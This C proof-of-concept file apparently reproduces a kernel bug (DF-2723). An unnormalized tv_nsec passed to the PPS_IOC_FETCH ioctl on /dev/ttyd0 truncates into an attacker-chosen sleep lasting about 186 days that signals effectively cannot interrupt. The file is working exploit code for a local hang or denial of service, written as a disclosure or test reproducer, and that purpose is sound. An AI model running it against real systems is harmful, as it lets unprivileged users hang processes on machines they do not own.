/* DF-2723: PPS_IOC_FETCH passes the user-supplied timeout timespec
 * UNVALIDATED into tstohz_low() (kern_clock.c:1618):
 *
 *     ticks = (int)(sec*hz + (u_long)ts->tv_nsec / nstick);
 *
 * An unnormalized tv_nsec (here 2^62) makes the (int) truncation yield an
 * attacker-chosen tick count (~1.6e9 ticks = ~186 days for 2^62) instead of
 * the intended 1-second timeout, and because the syscall returns ERESTART
 * on the first signal the sleep effectively never ends.  On sio(4) every
 * unrecognized tty ioctl reaches pps_ioctl (sio.c:2165-2172), so an
 * openable /dev/ttydX is enough.  Run under `timeout`. */
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <time.h>
#include <sys/ioctl.h>
#include <sys/timepps.h>

static void nop(int s) { (void)s; }
static double elapsed(const struct timespec *a, const struct timespec *b)
{ return (b->tv_sec - a->tv_sec) + (b->tv_nsec - a->tv_nsec)/1e9; }

int main(void)
{
	struct pps_fetch_args fa;
	struct timespec t0, t1;
	int fd, r;

	setvbuf(stdout, NULL, _IONBF, 0);
	signal(SIGALRM, nop);
	fd = open("/dev/ttyd0", O_RDWR | O_NONBLOCK);
	if (fd < 0) { printf("[-] open /dev/ttyd0: %s\n", strerror(errno)); return 1; }

	memset(&fa, 0, sizeof(fa));
	fa.tsformat = PPS_TSFMT_TSPEC;
	fa.timeout.tv_sec = 1;			/* sane 1s, no PPS events */
	clock_gettime(CLOCK_MONOTONIC, &t0);
	alarm(30);
	r = ioctl(fd, PPS_IOC_FETCH, &fa);
	clock_gettime(CLOCK_MONOTONIC, &t1);
	printf("[*] sane   {tv_sec=1, tv_nsec=0}          : r=%d errno=%d (%s) elapsed=%.3fs\n",
	    r, r ? errno : 0, r ? strerror(errno) : "ok", elapsed(&t0, &t1));

	memset(&fa, 0, sizeof(fa));
	fa.tsformat = PPS_TSFMT_TSPEC;
	fa.timeout.tv_sec = 0;
	fa.timeout.tv_nsec = 4611686018427387904LL;	/* 2^62, unnormalized */
	clock_gettime(CLOCK_MONOTONIC, &t0);
	alarm(30);
	r = ioctl(fd, PPS_IOC_FETCH, &fa);
	clock_gettime(CLOCK_MONOTONIC, &t1);
	printf("[*] crafted{tv_sec=0, tv_nsec=2^62}       : r=%d errno=%d (%s) elapsed=%.3fs\n",
	    r, r ? errno : 0, r ? strerror(errno) : "ok", elapsed(&t0, &t1));
	printf("[*] crafted run must be killed by timeout(1): the truncated tick\n");
	printf("    count is ~1.6e9 ticks (~186 days) and ERESTART makes the sleep\n");
	printf("    effectively uninterruptible -- attacker-chosen sleep length.\n");
	close(fd);
	return 0;
}
